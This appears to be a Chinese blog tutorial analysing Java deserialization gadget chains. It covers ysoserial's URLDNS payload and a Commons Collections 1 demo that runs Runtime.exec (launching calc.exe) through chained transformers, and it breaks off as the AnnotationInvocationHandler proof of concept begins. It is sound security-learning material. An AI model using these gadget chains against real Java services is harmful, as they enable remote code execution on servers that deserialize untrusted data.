2.\u5728\u76ee\u6807\u6ca1\u6709\u56de\u663e\u7684\u65f6\u5019\uff0c\u80fd\u591f\u901a\u8fc7DNS\u8bf7\u6c42\u5f97\u77e5\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/strong><\/p>\n\n\n\n
\u6253\u5f00https:\/\/github.com\/frohoff\/ysoserial\/blob\/master\/src\/main\/java\/ysoserial\/payloads\/URLDNS.java<\/a>\u770b\u770bysoserial\u662f\u5982\u4f55\u751f\u6210URLDNS\u4ee3\u7801\u7684\uff1a<\/p>\n\n\n\n
public class URLDNS implements ObjectPayload<Object> {\n\n        public Object getObject(final String url) throws Exception {\n\n                \/\/Avoid DNS resolution during payload creation\n                \/\/Since the field <code>java.net.URL.handler<\/code> is transient, it will not be part of the serialized payload.\n                URLStreamHandler handler = new SilentURLStreamHandler();\n\n                HashMap ht = new HashMap(); \/\/ HashMap that will contain the URL\n                URL u = new URL(null, url, handler); \/\/ URL to use as the Key\n                ht.put(u, url); \/\/The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.\n\n                Reflections.setFieldValue(u, \"hashCode\", -1); \/\/ During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.\n\n                return ht;\n        }\n\n        public static void main(final String[] args) throws Exception {\n                PayloadRunner.run(URLDNS.class, args);\n        }\n\n        \/**\n         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.\n         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior\n         * using the serialized object.<\/p>\n         *\n         * <b>Potential false negative:<\/b>\n         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the\n         * second resolution.<\/p>\n         *\/\n        static class SilentURLStreamHandler extends URLStreamHandler {\n\n                protected URLConnection openConnection(URL u) throws IOException {\n                        return null;\n                }\n\n                protected synchronized InetAddress getHostAddress(URL u) {\n                        return null;\n                }\n        }\n}<\/code><\/pre>\n\n\n\n
\u5229\u7528\u94fe\u5206\u6790<\/strong><\/p>\n\n\n\n
\u770b\u5230URLDNS\u7c7b\u7684getObject\u65b9\u6cd5\uff0cysoserial\u4f1a\u8c03\u7528\u8fd9\u4e2a\u65b9\u6cd5\u83b7\u5f97Payload\u3002\u8fd9\u4e2a\u65b9\u6cd5\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u8fd9\u4e2a\u5bf9\u8c61\u5c31\u662f\u6700\u540e\u88ab\u5e8f\u5217\u5316\u7684\u5bf9\u8c61\uff0c\u5728\u8fd9\u91cc\u662fHashMap<\/p>\n\n\n\n
\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u7684\u65b9\u6cd5\u662freadObject\uff0c\u56e0\u4e3aJava\u5f00\u53d1\u8005\u7ecf\u5e38\u4f1a\u5728\u8fd9\u91cc\u9762\u5199\u81ea\u5df1\u7684\u903b\u8f91\uff0c\u6240\u4ee5\u5bfc\u81f4\u53ef\u4ee5\u6784\u9020\u5229\u7528\u8fde<\/p>\n\n\n\n
HashMap\u7c7b\u7684readObject\u65b9\u6cd5<\/p>\n\n\n\n
    \/**\n     * Reconstitute the {@code HashMap} instance from a stream (i.e.,\n     * deserialize it).\n     *\/\n    private void readObject(java.io.ObjectInputStream s)\n        throws IOException, ClassNotFoundException {\n        \/\/ Read in the threshold (ignored), loadfactor, and any hidden stuff\n        s.defaultReadObject();\n        reinitialize();\n        if (loadFactor <= 0 || Float.isNaN(loadFactor))\n            throw new InvalidObjectException(\"Illegal load factor: \" +\n                                             loadFactor);\n        s.readInt();                \/\/ Read and ignore number of buckets\n        int mappings = s.readInt(); \/\/ Read number of mappings (size)\n        if (mappings < 0)\n            throw new InvalidObjectException(\"Illegal mappings count: \" +\n                                             mappings);\n        else if (mappings > 0) { \/\/ (if zero, use defaults)\n            \/\/ Size the table using given load factor only if within\n            \/\/ range of 0.25...4.0\n            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);\n            float fc = (float)mappings \/ lf + 1.0f;\n            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?\n                       DEFAULT_INITIAL_CAPACITY :\n                       (fc >= MAXIMUM_CAPACITY) ?\n                       MAXIMUM_CAPACITY :\n                       tableSizeFor((int)fc));\n            float ft = (float)cap * lf;\n            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?\n                         (int)ft : Integer.MAX_VALUE);\n            @SuppressWarnings({\"rawtypes\",\"unchecked\"})\n                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];\n            table = tab;\n\n            \/\/ Read the keys and values, and put the mappings in the HashMap\n            for (int i = 0; i < mappings; i++) {\n                @SuppressWarnings(\"unchecked\")\n                    K key = (K) s.readObject();\n                @SuppressWarnings(\"unchecked\")\n                    V value = (V) s.readObject();\n                putVal(hash(key), key, value, false, false);\n            }\n        }\n    }<\/code><\/pre>\n\n\n\n
\u5728\u6700\u540e\u7684\u4f4d\u7f6e\u53ef\u4ee5\u770b\u5230HashMap\u7684\u952e\u540d\u8ba1\u7b97\u4e86hash\uff1a<\/p>\n\n\n\n
putVal(hash(key), key, value, false, false);<\/code><\/pre>\n\n\n\n
\u4e3a\u4ec0\u4e48\u4f1a\u5173\u6ce8hash\u51fd\u6570\uff1f\u56e0\u4e3aysoserial\u7684\u6ce8\u91ca\u4e2d\u5f88\u660e\u786e\u5730\u8bf4\u660e\u4e86”During the put above, the URL’s hashCode is calculated and cached. This resets that so
the next time hashCode is called a DNS lookup will be triggered.”\u662fhashCode\u7684\u8ba1\u7b97\u64cd\u4f5c\u89e6\u53d1\u4e86DNS\u8bf7\u6c42\u3002\u5728\u6b64\u5904\u4e0b\u65ad\u70b9\uff0c\u5bf9\u8fd9\u4e2ahash\u51fd\u6570\u8fdb\u884c\u8c03\u8bd5\u5e76\u8ddf\u8fdb\uff0c\u8fd9\u662f\u8c03\u7528\u6808\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
hash\u65b9\u6cd5\u8c03\u7528\u4e86key\u7684hashcode\u65b9\u6cd5()\uff1a<\/p>\n\n\n\n
    static final int hash(Object key) {\n        int h;\n        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);\n    }<\/code><\/pre>\n\n\n\n
\u56de\u5230URLDNS\u770b\u8fd9\u91cc\u7684key\u662f\u4e00\u4e2ajava.net.URL\u5bf9\u8c61<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u770b\u770b\u5176hashCode\u65b9\u6cd5<\/p>\n\n\n\n
\n    public synchronized int hashCode() {\n        if (hashCode != -1)\n            return hashCode;\n\n        hashCode = handler.hashCode(this);\n        return hashCode;\n    }<\/code><\/pre>\n\n\n\n
handler\u662fURLSteamHandler\u5bf9\u8c61<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ee7\u7eed\u8ddf\u8fdbhashcode\u65b9\u6cd5\uff0c\u8fd9\u91cc\u6709\u8c03\u7528getHostAddrss\u65b9\u6cd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7ee7\u7eed\u8ddf\u8fdbgetHostAddress\u65b9\u6cd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91ccInetAddrsss.getByName(host)\u7684\u4f5c\u7528\u662f\u6839\u636e\u4e3b\u673a\u540d\uff0c\u83b7\u53d6\u5176IP\u5730\u5740\uff0c\u5728\u7f51\u7edc\u4e0a\u5176\u5b9e\u5c31\u662f\u4e00\u6b21DNS\u67e5\u8be2\u3002\u5229\u7528\u7b2c\u4e09\u65b9\u53cd\u8fde\u5e73\u53f0\u5c31\u53ef\u4ee5\u67e5\u8be2\u5230\u8fd9\u6b21\u8bf7\u6c42\uff0c\u8bc1\u660e\u7684\u786e\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u81f3\u6b64\uff0c\u6574\u4e2aURLDNS\u7684Gadget\u5c31\u6bd4\u8f83\u6e05\u6670\u4e86<\/p>\n\n\n\n
1.HashMap->readObject()
2.HashMap->hash()
3.URL->hashCode()
4.URLSteamHandler->hashCode()
5.URLSteamHandler->getHostAddress()
6.InetAddress->getByName()<\/p>\n\n\n\n
\u8981\u6784\u9020\u8fd9\u4e2aGadget\uff0c\u53ea\u9700\u8981\u521d\u59cb\u5316\u4e00\u4e2ajava.net.URL\u5bf9\u8c61\uff0c\u4f5c\u4e3akey\u653e\u5728java.util.HashMap\u4e2d\uff1b\u7136\u540e\u8bbe\u7f6e\u8fd9\u4e2aURL\u5bf9\u8c61\u7684hashCode\u4e3a\u521d\u59cb\u503c-1\uff0c\u8fd9\u6837\u53cd\u5e8f\u5217\u5316\u65f6\u5c06\u4f1a\u91cd\u65b0\u8ba1\u7b97\u5176hashCode\uff0c\u624d\u80fd\u89e6\u53d1\u5230\u540e\u9762\u7684DNS\u8bf7\u6c42\uff0c\u5426\u5219\u4e0d\u4f1a\u8c03\u7528URL->hashCode()<\/strong><\/p>\n\n\n\n
\u518d\u8d70\u4e00\u904d<\/strong><\/p>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u524d<\/strong><\/p>\n\n\n\n
\u6784\u9020HashMap\u5bf9\u8c61\uff0c\u5c06URL\u4f5c\u4e3akey\u585e\u5165<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–>hashMap.put()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–>hashMap.hash()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–>URL.hashCode()\uff0c\u8fd9\u91cc\u51fa\u73b0\u4e86\u4e00\u4e2a\u5173\u952e\u5206\u6b67\u70b9\u53ea\u6709\u5f53hashCode=-1\u7684\u65f6\u5019\u624d\u80fd\u8d70\u540e\u7eed\u7684DNS\u67e5\u8be2<\/strong>\uff0c\u76ee\u524dhashCode\u5e76\u672a\u8fdb\u884c\u8bbe\u7f6e\u6240\u4ee5!=-1\u8fd4\u56de\u4e86hashCode<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5173\u952e\u70b9\u8bbe\u7f6ehashCode=-1<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u65f6<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
HashMap\u91cd\u5199\u4e86readObject\uff0c\u6240\u4ee5\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u8d70HashMap\u91cc\u7684readObject<\/p>\n\n\n\n
 –> putVal()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–> hash()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–> URL.hashCode()\uff0c\u6b64\u65f6hashCode=-1<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–> URLStreamHandler.hashCode()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–> getHostAddress()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
–> InetAddress.getByName()\uff0c\u6700\u7ec8\u8fdb\u884cDNS\u67e5\u8be2<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
CC1<\/h1>\n\n\n\n
CC1demo<\/p>\n\n\n\n
package client;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CommonCollections1 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class[]{String.class},\n                        new Object[]\n                                {\"C:\\\\Windows\\\\System32\\\\calc.exe\"}),\n        };\n\n        Transformer transformerChain = new\n                ChainedTransformer(transformers);\n\n        Map innerMap = new HashMap();\n        Map outerMap = TransformedMap.decorate(innerMap, null,\n                transformerChain);\n        outerMap.put(\"test\", \"xxxx\");\n    }\n}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u8fc7\u7a0b\u6d89\u53ca\u5230\u4e0b\u9762\u51e0\u4e2a\u63a5\u53e3\u548c\u7c7b<\/p>\n\n\n\n
TransformedMap<\/h2>\n\n\n\n
TransformedMap\u7528\u4e8e\u5bf9java\u6807\u51c6\u6570\u636e\u7ed3\u6784Map\u505a\u4e00\u4e2a\u4fee\u9970\uff0c\u88ab\u4fee\u9970\u8fc7\u7684Map\u5728\u6dfb\u52a0\u65b0\u7684\u5143\u7d20\u65f6\uff0c\u5c06\u53ef\u4ee5\u6267\u884c\u4e00\u4e2a\u56de\u8c03\u3002\u6211\u4eec\u901a\u8fc7\u4e0b\u9762\u8fd9\u884c\u4ee3\u7801\u5bf9innerMap\u8fdb\u884c\u4fee\u9970\uff0c\u4f20\u51fa\u7684outerMap\u5373\u662f\u4fee\u9970\u540e\u7684Map<\/p>\n\n\n\n
\nMap outerMap = TransformedMap.decorate(innerMap, keyTransformer, \nvalueTransformer);<\/code><\/pre>\n\n\n\n
\u5176\u4e2dkeyTransformer\u662f\u5904\u7406\u65b0\u5143\u7d20\u7684Key\u7684\u56de\u8c03\uff0cvalueTransformer\u662f\u5904\u7406\u65b0\u5143\u7d20\u7684value\u7684\u56de\u8c03\u3002\u8fd9\u91cc\u6240\u8bf4\u7684\u56de\u8c03\uff0c\u5e76\u4e0d\u662f\u4f20\u7edf\u610f\u4e49\u4e0a\u7684\u56de\u8c03\u51fd\u6570\uff0c\u800c\u662f\u4e00\u4e2a\u5b9e\u73b0\u4e86Transformer\u63a5\u53e3\u7684\u7c7b\u3002<\/p>\n\n\n\n
Transformer\uff1a\u6700\u57fa\u7840\u7684”\u8f6c\u6362\u5668\u63a5\u53e3”<\/h2>\n\n\n\n
Transformer\u662f\u4e00\u4e2a\u63a5\u53e3\uff0c\u53ea\u6709\u4e00\u4e2a\u5f85\u5b9e\u73b0\u7684\u65b9\u6cd5<\/p>\n\n\n\n
public interface Transformer {\n    public Object transform(Object input);\n}<\/code><\/pre>\n\n\n\n
TransformedMap\u5728\u8f6c\u6362Map\u7684\u65b0\u5143\u7d20\u65f6\uff0c\u5c31\u4f1a\u8c03\u7528transform\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u5c31\u7c7b\u4f3c\u5728\u8c03\u7528\u4e00\u4e2a”\u56de\u8c03\u51fd\u6570”\uff0c\u8fd9\u4e2a\u56de\u8c03\u7684\u53c2\u6570\u65f6\u539f\u59cb\u5bf9\u8c61\u3002<\/p>\n\n\n\n
\u8f93\u5165\u4e00\u4e2a\u5bf9\u8c61input\u7ecf\u8fc7transform()\u8fd4\u56de\u53e6\u4e00\u4e2a\u5bf9\u8c61output<\/strong><\/p>\n\n\n\n
Transformer transformer = new Transformer() {\n    @Override\n    public Object transform(Object input) {\n        return \"hello \" + input;\n    }\n};\n\nObject result = transformer.transform(\"lain\");\nSystem.out.println(result);\n\n\u8f93\u51fa\nhello lain<\/code><\/pre>\n\n\n\n
ConstantTransformer\uff1a\u65e0\u89c6\u8f93\u5165\uff0c\u6c38\u8fdc\u8fd4\u56de\u56fa\u5b9a\u503c<\/h2>\n\n\n\n
ConstantTransformer\u662f\u5b9e\u73b0\u4e86Transformer\u63a5\u53e3\u7684\u4e00\u4e2a\u7c7b\uff0c\u5b83\u7684\u8fc7\u7a0b\u5c31\u662f\u5728\u6784\u9020\u51fd\u6570\u7684\u65f6\u5019\u4f20\u5165\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5e76\u5728transform\u65b9\u6cd5\u5c06\u8fd9\u4e2a\u5bf9\u8c61\u518d\u8fd4\u56de<\/p>\n\n\n\n
   public ConstantTransformer(Object constantToReturn) {\n        super();\n        iConstant = constantToReturn;\n   }\n\n   public Object transform(Object input) {\n        return iConstant;\n   }<\/code><\/pre>\n\n\n\n
\u6240\u4ee5\u4ed6\u7684\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u5305\u88c5\u4efb\u610f\u4e00\u4e2a\u5bf9\u8c61\uff0c\u5728\u6267\u884c\u56de\u8c03\u65f6\u8fd4\u56de\u8fd9\u4e2a\u5bf9\u8c61\uff0c\u8fdb\u800c\u65b9\u4fbf\u540e\u7eed\u64cd\u4f5c\u3002<\/p>\n\n\n\n
\u4e0d\u7ba1\u4f20\u8fdb\u53bb\u4ec0\u4e48\uff0c\u6c38\u8fdc\u8fd4\u56de\u6784\u9020\u65f6\u4f20\u5165\u7684\u90a3\u4e2a\u5bf9\u8c61<\/strong><\/p>\n\n\n\n
Transformer transformer = new ConstantTransformer(\"Lain\");\n\nSystem.out.println(transformer.transform(\"abc\"));\nSystem.out.println(transformer.transform(123));\nSystem.out.println(transformer.transform(null));\n\n\u8f93\u51fa\u90fd\u662f\nLain\nLain\nLain<\/code><\/pre>\n\n\n\n
InvokerTransformer\uff1a\u53cd\u5c04\u8c03\u7528\u5bf9\u8c61\u65b9\u6cd5<\/h2>\n\n\n\n
InvokeTransformer\u662f\u5b9e\u73b0\u4e86Transformer\u63a5\u53e3\u7684\u7c7b\uff0c\u8fd9\u4e2a\u7c7b\u53ef\u4ee5\u7528\u6765\u6267\u884c\u4efb\u610f\u65b9\u6cd5\uff0c\u8fd9\u4e5f\u662f\u53cd\u5e8f\u5217\u5316\u80fd\u6267\u884c\u4efb\u610f\u4ee3\u7801\u7684\u5173\u952e\u3002<\/p>\n\n\n\n
\u5728\u5b9e\u4f8b\u5316\u8fd9\u4e2aInvokerTransformer\u65f6\uff0c\u9700\u8981\u4f20\u5165\u4e09\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u5f85\u6267\u884c\u7684\u65b9\u6cd5\u540d\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868\u7684\u53c2\u6570\u7c7b\u578b\uff0c\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u4f20\u7ed9\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u5217\u8868<\/p>\n\n\n\n
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] \nargs) {\n  super();\n  iMethodName = methodName;\n  iParamTypes = paramTypes;\n  iArgs = args;\n}\n-----------------------------\nnew InvokerTransformer(\n    \"\u65b9\u6cd5\u540d\",\n    new Class[]{\u53c2\u6570\u7c7b\u578b},\n    new Object[]{\u53c2\u6570\u503c}\n)<\/code><\/pre>\n\n\n\n
\u540e\u9762\u56de\u8c03transform\u65b9\u6cd5\uff0c\u5c31\u662f\u6267\u884c\u4e86input\u5bf9\u8c61\u7684iMethodName\u65b9\u6cd5<\/p>\n\n\n\n
    public Object transform(Object input) {\n        if (input == null) {\n            return null;\n        }\n        try {\n            Class cls = input.getClass();\n            Method method = cls.getMethod(iMethodName, iParamTypes);\n            return method.invoke(input, iArgs);\n\n        } catch (NoSuchMethodException ex) {\n            throw new FunctorException(\"InvokerTransformer: The method '\" +\n                    iMethodName + \"' on '\" + input.getClass() + \"' does not exist\");\n        } catch (IllegalAccessException ex) {\n            throw new FunctorException(\"InvokerTransformer: The method '\" +\n                    iMethodName + \"' on '\" + input.getClass() + \"' cannot be accessed\");\n        } catch (InvocationTargetException ex) {\n            throw new FunctorException(\"InvokerTransformer: The method '\" +\n                    iMethodName + \"' on '\" + input.getClass() + \"' threw an exception\", ex);\n        }\n    }<\/code><\/pre>\n\n\n\n
\u5bf9\u8f93\u5165\u5bf9\u8c61\u8c03\u7528\u67d0\u4e2a\u65b9\u6cd5\uff0c\u5e76\u8fd4\u56de\u65b9\u6cd5\u6267\u884c\u7ed3\u679c<\/strong><\/p>\n\n\n\n
public class InvokerTransformer implements Transformer {\n\n    private final String methodName;\n    private final Class[] paramTypes;\n    private final Object[] args;\n\n    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {\n        this.methodName = methodName;\n        this.paramTypes = paramTypes;\n        this.args = args;\n    }\n\n    @Override\n    public Object transform(Object input) {\n        Class clazz = input.getClass();\n        Method method = clazz.getMethod(methodName, paramTypes);\n        return method.invoke(input, args);\n    }\n}\n\n\u4e5f\u5c31\u662finput.methodName(args)\n\u518d\u770b\u51e0\u4e2a\u4f8b\u5b50\n\nTransformer transformer = new InvokerTransformer(\n        \"toUpperCase\",\n        new Class[]{},\n        new Object[]{}\n);\n\nObject result = transformer.transform(\"hello\");\n\nSystem.out.println(result);\n\u7b49\u4ef7\u4e8e\n\"hello\".toUpperCase();\n-------------------------------------------------\nTransformer transformer = new InvokerTransformer(\n        \"substring\",\n        new Class[]{int.class, int.class},\n        new Object[]{1, 4}\n);\n\nObject result = transformer.transform(\"abcdef\");\n\nSystem.out.println(result);\n\u7b49\u4ef7\u4e8e\n\"abcdef\".substring(1, 4);<\/code><\/pre>\n\n\n\n
ChainedTransformer<\/h2>\n\n\n\n
ChainedTransformer\u4e5f\u662f\u5b9e\u73b0\u4e86Transformer\u63a5\u53e3\u7684\u4e00\u4e2a\u7c7b\uff0c\u5b83\u7684\u4f5c\u7528\u662f\u5c06\u5185\u90e8\u7684\u591a\u4e2aTransformer\u4e32\u5728\u4e00\u8d77\u3002\u901a\u4fd7\u6765\u8bf4\u5c31\u662f\uff0c\u524d\u4e00\u4e2a\u56de\u8c03\u8fd4\u56de\u7684\u7ed3\u679c\uff0c\u4f5c\u4e3a\u540e\u4e00\u4e2a\u56de\u8c03\u7684\u53c2\u6570\u4f20\u5165<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
public ChainedTransformer(Transformer[] transformers) {\n  super();\n  iTransformers = transformers;\n}\n \npublic Object transform(Object object) {\n  for (int i = 0; i < iTransformers.length; i++) {\n    object = iTransformers[i].transform(object);\n  }\n  return object;\n}\n\n\u7b80\u5316\u6765\u770b\u5c31\u662f\nresult = input\nresult = transformer1.transform(result)\nresult = transformer2.transform(result)\nresult = transformer3.transform(result)\nreturn result\n\n\u4e3e\u4e2a\u4f8b\u5b50\u770b\u770b\nTransformer[] transformers = new Transformer[]{\n        new ConstantTransformer(\"hello\"),\n        new InvokerTransformer(\"toUpperCase\", new Class[]{}, new Object[]{}),\n        new InvokerTransformer(\"substring\", new Class[]{int.class, int.class}, new Object[]{1, 4})\n};\n\nTransformer chain = new ChainedTransformer(transformers);\n\nObject result = chain.transform(\"\u968f\u4fbf\u4f20\u4ec0\u4e48\");\n\nSystem.out.println(result);\n\n\u6267\u884c\u6d41\u7a0b\u5c31\u662f\n\u521d\u59cb\u8f93\u5165\uff1a\"\u968f\u4fbf\u4f20\u4ec0\u4e48\"\n\n\u7b2c\u4e00\u6b65 ConstantTransformer(\"hello\")\n\u8fd4\u56de\uff1a\"hello\"\n\n\u7b2c\u4e8c\u6b65 InvokerTransformer(\"toUpperCase\")\n\u7b49\u4ef7\u4e8e\uff1a\"hello\".toUpperCase()\n\u8fd4\u56de\uff1a\"HELLO\"\n\n\u7b2c\u4e09\u6b65 InvokerTransformer(\"substring\", 1, 4)\n\u7b49\u4ef7\u4e8e\uff1a\"HELLO\".substring(1, 4)\n\u8fd4\u56de\uff1a\"ELL\"<\/code><\/pre>\n\n\n\n
\u7406\u89e3demo<\/h2>\n\n\n\n
\u7406\u89e3\u8fd9\u51e0\u4e2aTransformer\u7684\u610f\u4e49\u540e\u56de\u5934\u770b\u770bdemo<\/p>\n\n\n\n
        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.getRuntime()),\n                new InvokerTransformer(\"exec\", new Class[]{String.class},\n                        new Object[]\n                                {\"C:\\\\Windows\\\\System32\\\\calc.exe\"}),\n        };\n\n        Transformer transformerChain = new\n                ChainedTransformer(transformers);<\/code><\/pre>\n\n\n\n
\u521b\u5efa\u4e86\u4e00\u4e2aChainedTransformer\uff0c\u5176\u4e2d\u5305\u542b\u4e24\u4e2aTransformer\uff0c\u7b2c\u4e00\u4e2a\u662fConstantTransformer\u76f4\u63a5\u8fd4\u56de\u5f53\u524d\u73af\u5883\u7684Runtime\u5bf9\u8c61\uff0c\u7b2c\u4e8c\u4e2a\u662finvokerTransformer\uff0c\u6267\u884cRuntime\u5bf9\u8c61\u7684exec\u65b9\u6cd5\uff0c\u53c2\u6570\u662fC:\\\\Windows\\\\System32\\\\calc.exe<\/p>\n\n\n\n
\u8fd9\u4e2atransformerChain\u53ea\u662f\u4e00\u7cfb\u5217\u56de\u8c03\uff0c\u6211\u4eec\u9700\u8981\u7528\u5176\u6765\u5305\u88c5innerMap\uff0c\u4f7f\u7528\u7684\u524d\u9762\u8bf4\u5230\u7684TransformedMap.decorate<\/p>\n\n\n\n
Map innerMap = new HashMap();\nMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n\ninnerMap          \/\/ \u539f\u59cb HashMap\nnull              \/\/ key \u4e0d\u8f6c\u6362\ntransformerChain  \/\/ value \u8981\u7ecf\u8fc7 transformerChain \u8f6c\u6362\n\u4ee5\u540e\u53ea\u8981\u5f80\u8fd9\u4e2a Map \u91cc\u653e value\uff0c\u5c31\u5148\u7528 transformerChain.transform(value) \u5904\u7406\u4e00\u4e0b<\/code><\/pre>\n\n\n\n
\u6700\u540e\u600e\u4e48\u89e6\u53d1\u56de\u8c03\u5462\uff0c\u5c31\u662f\u5411Map\u4e2d\u653e\u5165\u4e00\u4e2a\u65b0\u7684\u5143\u7d20<\/p>\n\n\n\n
outerMap.put(\"test\", \"xxxx\");<\/code><\/pre>\n\n\n\n
innerMap\u4e0eouterMap<\/strong><\/p>\n\n\n\n
innerMap\u662f\u771f\u6b63\u5b58\u6570\u636e\u7684\u666e\u901aHashMap\uff1bouterMap\u662f\u88abLazyMap\/TransformedMap\u5305\u88c5\u540e\u7684\u4ee3\u7406\/\u88c5\u9970Map\uff0c\u5b83\u5185\u90e8\u4ecd\u7136\u8c03\u7528innerMap\u5b58\u6570\u636e\u3002<\/p>\n\n\n\n
\u800c LazyMap<\/code> \/ TransformedMap<\/code> \u662f Commons Collections \u63d0\u4f9b\u7684\u88c5\u9970\u5668\u7c7b\uff0c\u5b83\u4eec\u4f1a\u5728\u666e\u901a Map \u5916\u9762\u5305\u4e00\u5c42\u7279\u6b8a\u903b\u8f91\u3002\u4e4b\u540e\u5982\u679c\u64cd\u4f5c\u7684\u662f\u5305\u88c5\u540e\u7684 outerMap<\/code>\uff0c\u5c31\u4f1a\u6839\u636e\u5177\u4f53\u88c5\u9970\u5668\u7684\u7279\u6027\u89e6\u53d1\u5bf9\u5e94\u7684 Transformer<\/code><\/p>\n\n\n\n
POC<\/h2>\n\n\n\n
AnnotationInvocationHandler<\/h3>\n\n\n\n
demo\u7684\u89e6\u53d1\u6838\u5fc3\u662f\u5411outerMap\u4e2d\u6dfb\u52a0\u4e00\u4e2avalue\u503couterMap.put(“test”,”xxxx”)\uff1b\u6765\u89e6\u53d1\u6f0f\u6d1e\uff0c\u4f46\u5b9e\u9645\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u6211\u4eec\u9700\u8981\u4e00\u4e2a\u7c7b\uff0c\u5b83\u5728\u53cd\u5e8f\u5217\u5316\u7684readObject\u903b\u8f91\u91cc\u6709\u7c7b\u4f3c\u7684\u5199\u5165\u64cd\u4f5c<\/p>\n\n\n\n
\u8fd9\u4e2a\u7c7b\u5c31\u662fsun.reflect.annotation.AnnotationInvocationHandler\uff0c\u67e5\u770b\u5176readObject\u65b9\u6cd5\uff08\u8fd9\u662f8u71\u4ee5\u524d\u7684\u4ee3\u7801\uff0c8u71\u540e\u505a\u4e86\u4e00\u4e9b\u4fee\u6539\uff09<\/p>\n\n\n\n
private void readObject(java.io.ObjectInputStream s)\n            throws java.io.IOException, ClassNotFoundException {\n        s.defaultReadObject();\n        \/\/ Check to make sure that types have not evolved incompatibly\n        AnnotationType annotationType = null;\n        try {\n            annotationType = AnnotationType.getInstance(type);\n        } catch(IllegalArgumentException e) {\n            \/\/ Class is no longer an annotation type; time to punch out\n            throw new java.io.InvalidObjectException(\"Non-annotation type in \n                    annotation serial stream\");\n        }\n        Map<String, Class<?>> memberTypes = annotationType.memberTypes();\n        \/\/ If there are annotation members without values, that\n        \/\/ situation is handled by the invoke method.\n        for (Map.Entry<String, Object> memberValue :\n                memberValues.entrySet()) {\n            String name = memberValue.getKey();\n            Class<?> memberType = memberTypes.get(name);\n            if (memberType != null) {  \/\/ i.e. member still exists\n                Object value = memberValue.getValue();\n                if (!(memberType.isInstance(value) ||\n                        value instanceof ExceptionProxy)) {\n                    memberValue.setValue(\n                            new AnnotationTypeMismatchExceptionProxy(\n                                    value.getClass() + \"[\" + value + \"]\").setMember(\n                                    annotationType.members().get(name)));\n                }\n            }\n        }\n    } <\/code><\/pre>\n\n\n\n
\u6838\u5fc3\u903b\u8f91\u5c31\u662fMap.Entry<String Object> memberValue \uff1amemberValues.entrySet()\u548cmemberValue.setValue(…)<\/p>\n\n\n\n
